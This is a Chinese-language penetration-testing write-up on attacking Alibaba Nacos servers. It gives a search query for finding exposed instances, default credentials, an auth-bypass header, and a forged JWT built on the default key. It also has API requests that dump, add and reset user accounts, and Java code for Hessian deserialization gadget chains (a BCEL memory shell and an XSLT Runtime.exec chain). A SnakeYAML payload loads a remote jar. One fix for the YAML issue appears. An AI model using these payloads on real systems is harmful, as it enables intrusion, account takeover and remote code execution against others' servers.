前言
Nacos是阿里搞得一个统一管理的配置注册中心,默认端口是8848 ,fofa搜app="NACOS" && icon_hash="13942501"
能搜出一堆,而且在渗透中不论是内网还是外网都十分管用,最简单的利用方法就是看配置文件搞数据库,后台密码,既然在工作中遇到了,就简单记录一下,不要只当个脚本小子
Nacos身份认证绕过漏洞分析
Nacos控制台默认口令漏洞(nacos,nacos),除此之外Nacos鉴权机制还可以被绕过
Nacos User-Agent权限绕过
漏洞影响版本: Nacos <= 2.0.0-ALPHA.1
请求时加上header serverIdentity: security,就可以跳过鉴权
JWT默认secretKey
漏洞影响版本: Nacos <= 2.2.0
Nacos鉴权用的jwt但是JWT密钥在2.2.0之前是默认的,所以可以自定义成功通过鉴权
构造的payload很简单,一个用户名加一个时间戳,只要时间戳没过期,就能通过
1 2 3 4
| { "sub": "nacos", "exp": 9999999999 }
|
传入方式,可以加参数accessToken=
,或者加header Authorization: Bearer
利用
1 2 3 4 5 6 7 8 9
| 读取用户账号密码: GET /nacos/v1/auth/users?pageNo=1&pageSize=9
添加用户: POST /nacos/v1/auth/users?username=test&password=test"
任意用户密码更改: PUT /nacos/v1/auth/users?username=test&newPassword=test1234"
|
Nacos Jraft Hessian反序列化
漏洞影响版本: 1.4.0 <= Nacos < 1.4.6 在单机模式下默认不开放7848端口,需使用cluster集群模式运行
2.0.0 <= Nacos < 2.2.3 默认开放7848端口,任意模式启动均受到影响
Hessian
Hession 是基于二进制的实现,传输数据更小更快,基于 HTTP 协议传输。
Hessian反序列化和java原生反序列化很像,都是直接对Field进行赋值操作的机制,而不是基于Bean属性访问机制
基本用法
hessian除了配合 web 项目使用,或作为微服务调用的传输协议外,也可以自行封装自行调用
1 2 3 4 5 6 7 8 9 10 11 12 13
| public static <T> byte[] serialize(T o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); HessianOutput output = new HessianOutput(bao); output.writeObject(o); return bao.toByteArray(); } public static <T> T deserialize(byte[] bytes) throws IOException { ByteArrayInputStream bai = new ByteArrayInputStream(bytes); HessianInput input = new HessianInput(bai); Object o = input.readObject(); return (T) o; }
|
除此之外还用HessianInput/HessianOutput、Hessian2Input/Hessian2Output(在 Hassian jar 3.2.0 之后,采用了 Hessian 2.0协议,同时还兼容 Hessian 1.0)、BurlapInput/BurlapOutput 的相关方法的封装
Hessian反序列化
HessianOutput在写入自定义类型时会将其标记为 Map 类型
MapDeserializer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| public Object readMap(AbstractHessianInput in) throws IOException { Map map; if (_type == null) map = new HashMap(); else if (_type.equals(Map.class)) map = new HashMap(); else if (_type.equals(SortedMap.class)) map = new TreeMap(); else { try { map = (Map) _ctor.newInstance(); } catch (Exception e) { throw new IOExceptionWrapper(e); } }
in.addRef(map);
while (! in.isEnd()) { map.put(in.readObject(), in.readObject()); }
in.readEnd();
return map; }
|
利用链(source:put)
前面Hessian可以看出起始方法只能为 put方法可以触发的方法,也就是hashCode/equals/compareTo 方法
该漏洞主要是针对部分Jraft请求处理时,使用hessian进行反序列化未限制而造成的RCE漏洞,这里就简单分析一下Nacosrce中出现的几条链子
bcel
由于hessian-4.0.63存在黑名单限制,不能直接调用命令执行函数,所以只能采用加载字节码或jndi远程调用
javax.swing.UIDefaults
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class UIDefaults extends Hashtable<Object,Object> { public Object get(Object key) { Object value = getFromHashtable( key ); return (value != null) ? value : getFromResourceBundle(key, null); } private Object getFromHashtable(final Object key) { Object value = super.get(key); ........... if (value instanceof LazyValue) { try { value = ((ActiveValue)value).createValue(this); }
|
sun.swing.SwingLazyValue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public class SwingLazyValue implements UIDefaults.LazyValue { public Object createValue(UIDefaults var1) { try { ReflectUtil.checkPackageAccess(this.className); Class var2 = Class.forName(this.className, true, (ClassLoader)null); Class[] var3; if (this.methodName != null) { var3 = this.getClassArray(this.args); Method var6 = var2.getMethod(this.methodName, var3); this.makeAccessible(var6); return var6.invoke(var2, this.args); } else { var3 = this.getClassArray(this.args); Constructor var4 = var2.getConstructor(var3); this.makeAccessible(var4); return var4.newInstance(this.args); } } catch (Exception var5) { return null; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public class JavaWrapper { public static void _main(String[] argv) throws Exception { String class_name = argv[0]; .......... wrapper.runMain(class_name, new_argv); }
public JavaWrapper() { this(getClassLoader()); } public JavaWrapper(java.lang.ClassLoader loader) { this.loader = loader; } private static java.lang.ClassLoader getClassLoader() { String s = SecuritySupport.getSystemProperty("bcel.classloader");
if((s == null) || "".equals(s)) s = "com.sun.org.apache.bcel.internal.util.ClassLoader"; try { return (java.lang.ClassLoader)Class.forName(s).newInstance(); } catch(Exception e) { throw new RuntimeException(e.toString()); } }
public void runMain(String class_name, String[] argv) throws ClassNotFoundException { Class cl = loader.loadClass(class_name); ......... }
|
实例
putVal:635, HashMap (java.util)
equals:814, Hashtable (java.util) //跟cc7 hash值相等触发equals原理相同,触发Hashtable.equals(UIDefaults)
get:161, UIDefaults (javax.swing) //触发传入UIDefaults的get方法
getFromHashtable:216, UIDefaults (javax.swing)
createValue:73, SwingLazyValue (sun.swing) //可以调用任意静态方法或者一个构造函数
_main:153, JavaWrapper (com.sun.org.apache.bcel.internal.util)
1 2 3 4 5 6 7 8 9
| JavaClass clazz = Repository.lookupClass(NacosFilterShellPlus.class); String payload = "$$BCEL$$" + Utility.encode(clazz.getBytes(), true); SwingLazyValue value = new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}); UIDefaults uiDefaults = new UIDefaults(); uiDefaults.put(value, value); Hashtable<Object, Object> hashtable = new Hashtable(); hashtable.put(value, value); return makeMap(uiDefaults, hashtable);
|
xslt
这个更加通用,链子跟上面那个差不多,就是最后调用的方法不一样
1 2 3 4 5 6 7 8
| String tmpPath = "C:\\Windows\\Temp\\nacos_data_temp"; String cmd = payloadType.substring(4); String xslt = "<xsl:stylesheet version=\"2.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:java=\"http://saxon.sf.net/java-type\">\n <xsl:template match=\"/\">\n <xsl:value-of select=\"Runtime:exec(Runtime:getRuntime(),'<command>')\" xmlns:Runtime=\"java.lang.Runtime\"/>\n </xsl:template>\n</xsl:stylesheet>".replace("<command>", cmd); value = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{tmpPath, xslt.getBytes()}); ........ value = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file://" + tmpPath}});
|
原理(二进制的东西我也看不明白):https://paper.seebug.org/1963/#0x00
Apache Dubbo Hessian2异常处理反序列化漏洞(CVE-2021-43297)
这是hessian反序列化的另一个思路,以tostring为source
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| protected IOException expect(String expect, int ch) throws IOException { .............
Object obj = readObject();
if (obj != null) { return error("expected " + expect + " at 0x" + Integer.toHexString(ch & 0xff) + " " + obj.getClass().getName() + " (" + obj + ")" + "\n " + context + ""); public int readString(char []buffer, int offset, int length) throws IOException { int readLength = 0;
if (_chunkLength == END_OF_DATA) { _chunkLength = 0; return -1; } else if (_chunkLength == 0) { int tag = read();
switch (tag) { .......................
default: throw expect("string", tag); } }
|
示例
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)
1 2 3 4 5 6 7 8 9 10
| ByteArrayOutputStream baos = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(baos); baos.write(67); output.writeObject(evilClass); output.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); Hessian2Input input = new Hessian2Input(bais); input.readObject();
|
攻击客户端
Nacos-client Yaml反序列化漏洞
漏洞影响版本: Nacos-Client < 1.4.2
其实也很好理解,nacos本身就是管理动态配置的,我们可以设置配置类型为yaml,并且修改配置为任意poc,当修改成功之后,对应的客户端Nacos-client轮询会接受到信息,并且会调用SnakeYaml包反序列化配置文件
snakeYaml反序列化
1 2 3
| String context = "!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]]]]"; Yaml yaml = new Yaml(); yaml.load(context);
|
执行的jar包需要符合SPI 机制 https://github.com/passer-W/snakeyaml-memshell
修复法方
1 2
| Yaml yaml = new Yaml(new SafeConstructor()); yaml.load(context);
|
Nacos结合Spring Cloud Gateway RCE利用